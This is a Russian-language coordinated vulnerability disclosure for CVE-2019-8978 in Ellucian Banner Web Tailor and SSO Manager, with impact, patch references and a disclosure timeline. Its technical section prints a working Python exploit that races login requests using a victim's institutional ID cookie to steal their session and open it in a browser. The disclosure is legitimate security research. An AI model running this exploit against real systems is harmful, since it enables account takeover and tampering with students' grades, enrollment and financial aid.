
Раскрытие уязвимости Banner Web Tailor и Banner Enterprise Identity Services
Автор: Katie Mulliken [email protected]
Благодарности: Центр координации CERT Университета Карнеги-Меллона
Краткое резюме
Продукт
Влияние и рекомендации
a. Влияние
b. Рекомендации
Технические детали
a. Техническое описание
b. Эксплойт-код
Хронология раскрытия
Ссылки
В Banner Web Tailor и Banner Enterprise Identity Services была обнаружена уязвимость неправильной аутентификации (CWE-287). Эта уязвимость возникает, когда SSO Manager используется в качестве механизма аутентификации для Web Tailor, что может привести к раскрытию информации и потере целостности данных для затронутых пользователей. Поставщик подтвердил уязвимость и выпустил патч, который теперь доступен. Для получения дополнительной информации см. сообщения в Ellucian Communities: [ССЫЛКА НЕ ПРЕДОСТАВЛЕНА ДО СРОКА] и Banner Enterprise Identity Services: [ССЫЛКА НЕ ПРЕДОСТАВЛЕНА ДО СРОКА]. ОБНОВЛЕНИЕ: Вот ссылка на раздел IAM: А это ссылка на сообщение об уязвимости Banner Web Tailor и SSO Manager, опубликованное в пространстве Banner General & Banner Technical Community — ]
Banner Web Tailor — это веб-инструмент, созданный для высших учебных заведений, который предоставляет функциональность для регистрации, управления учебными планами, консультирования, администрирования и составления отчетов. Студенты могут просматривать и изменять информацию о своей регистрации, выпуске и финансовой помощи. Профессора и преподаватели могут вводить итоговые оценки и управлять своими курсами. Администраторы могут просматривать и изменять информацию о студентах и преподавателях. Он используется сотнями учреждений, многие из которых решили использовать менеджер единого входа (Single Sign-on Manager) для участия в сервисах единого входа на основе CAS и SAML.[2]
Уникальный идентификатор пользователя, UDCID, раскрывается через cookie, и это может привести к компрометации учетной записи, если этот идентификатор будет перехвачен или иным образом известен; в протестированном случае UDCID был известен как институциональный ID, напечатанный на ID-картах. UDCID может быть использован для эксплуатации состояния гонки, которое предоставит злоумышленнику несанкционированный доступ. Для студента злоумышленник может отчислить его с курсов, отклонить финансовую помощь, изменить личную информацию и т.д. Для профессора это может привести к невозможности управлять своими курсами, позволить злонамеренному студенту ввести ложные итоговые оценки и т.д. Для администратора злоумышленник может изменить информацию о пользователях, наложить ложные блокировки на студенческие учетные записи и т.д.
Пострадавшим организациям следует обновиться до последней версии. Дополнительную информацию можно найти в сообщениях в Ellucian Communities: [ССЫЛКА НЕ ПРЕДОСТАВЛЕНА ДО СРОКА] и Banner Enterprise Identity Services: [ССЫЛКА НЕ ПРЕДОСТАВЛЕНА ДО СРОКА]. ОБНОВЛЕНИЕ: Вот ссылка на раздел IAM: https://ecommunities.ellucian.com/message/252749#252749 А это ссылка на сообщение об уязвимости Banner Web Tailor и SSO Manager, опубликованное в пространстве Banner General & Banner Technical Community — https://ecommunities.ellucian.com/message/252810#252810. Пожалуйста, используйте Ellucian Communities или свяжитесь с Ellucian через ActionLine для получения дополнительной информации. Обновления этого раскрытия будут доступны на GitHub: https://github.com/JoshuaMulliken/CVE-2019-8978
Уязвимость неправильной аутентификации может быть использована через состояние гонки, которое возникает в Ellucian Banner Web Tailor в сочетании с SSO Manager. Эта уязвимость позволяет удаленным злоумышленникам украсть сессию жертвы (и вызвать отказ в обслуживании) путем многократных запросов начальной главной страницы Banner Web Tailor с cookie IDMSESSID, установленным на UDCID жертвы, который в протестированном случае является институциональным ID. Во время попытки входа в систему жертвы злоумышленник может использовать состояние гонки и получить SESSID, предназначенный для этой жертвы. См. код доказательства концепции по ссылке на GitHub ниже для получения более подробной информации.
""" exploit.py
This code is designed for Python 3 and requires the packages selenium and requests_threads. It does 50 simultaneous requests per batch and repeats. More or less may be required depending on your connection latency.
"""
import re, time, sys, select, os
from selenium import webdriver
from requests_threads import AsyncSession
requests_per_batch = 50
target_host = input("Please provide the target url (This is from the Web Tailor page post login): ")
target_id = input("Please provide the ID, which in the case tested is the institutional ID: ")
cookies = {
'IDMSESSID': target_id,
}
session = AsyncSession(n=requests_per_batch)
async def _main():
final_sessid = ""
os.system('cls' if os.name == 'nt' else 'clear')
print("To quit press Enter")
while True:
rs = []
for _ in range(requests_per_batch):
rs.append(await session.get(target_host, cookies=cookies))
for response in rs:
for c in response.cookies:
if (c.name == 'SESSID'):
print(c.name, c.value)
final_sessid = c.value
if sys.stdin in select.select([sys.stdin], [], [], 0)[0]:
line = input()
break
print("Last SESSID:", final_sessid)
open_browser = input("Open a browser with this SESSID(y/n): ")
if open_browser == "y":
"""
This feature requires a chromedriver for your operating system version.
It can be found at https://sites.google.com/a/chromium.org/chromedriver/
Place it in the working directory of the exploit.py
"""
browser = webdriver.Chrome(executable_path=os.path.join(os.getcwd(),"chromedriver"))
browser.get(target_host)
browser.add_cookie({
"domain": target_host.split("/")[2],
"name": "SESSID",
"value": final_sessid,
})
browser.get(target_host)
stay_open = input("Press enter to close")
session.run(_main)
18 декабря 2018 г.: Попытка сообщить через веб-форму маркетинга Ellucian и отправлено на [email protected]
20 декабря 2018 г.: Отправлен отчет в Центр координации CERT Университета Карнеги-Меллона
2 января 2019 г.: Отправлен отчет CISО в Ellucian, который был найден через LinkedIn
2 января 2019 г.: Запрошена информация о процедуре ответственного раскрытия у Университета Южной Каролины
3 января 2019 г.: Ellucian сообщили, что нужно сообщать через ActionLine
4 января 2019 г.: Университет Южной Каролины сообщил, что процедуры для сообщения об уязвимостях нет
4 января 2019 г.: Сообщил Университету Южной Каролины, что обнаружил уязвимость в Banner
18 февраля 2019 г.: CERT сообщил о неудаче связаться с поставщиком и посоветовал публично раскрыть информацию
25 февраля 2019 г.: Отправил черновик уведомления в Ellucian и назначил дату раскрытия на 4 марта
28 февраля 2019 г.: Провел демонстрацию уязвимости для Ellucian через Zoom
1 марта 2019 г.: Университет Южной Каролины попросил отложить публикацию
21 марта 2019 г.: Университет Южной Каролины получил обратно портированный патч от Ellucian
26 марта 2019 г.: Ellucian завершили патчи для всех версий
29 марта 2019 г.: Ellucian сообщили, что Университет Южной Каролины будет проводить изменения 1 апреля
1 апреля 2019 г.: Запросил информацию о статусе патча у Университета Южной Каролины
5 апреля 2019 г.: Университет Южной Каролины дал ориентировочную дату 30 апреля 2019 г.
30 апреля 2019 г.: Университет Южной Каролины обновил ориентировочную дату до середины мая
7 мая 2019 г.: Установил дату публикации раскрытия на 13 мая
10 мая 2019 г.: Университет Южной Каролины опубликовал уведомление о плановом отключении всех сервисов Banner, запланированном на 11 мая
11 мая 2019 г.: Университет Южной Каролины успешно установил патч
13 мая 2019 г.: Раскрытие опубликовано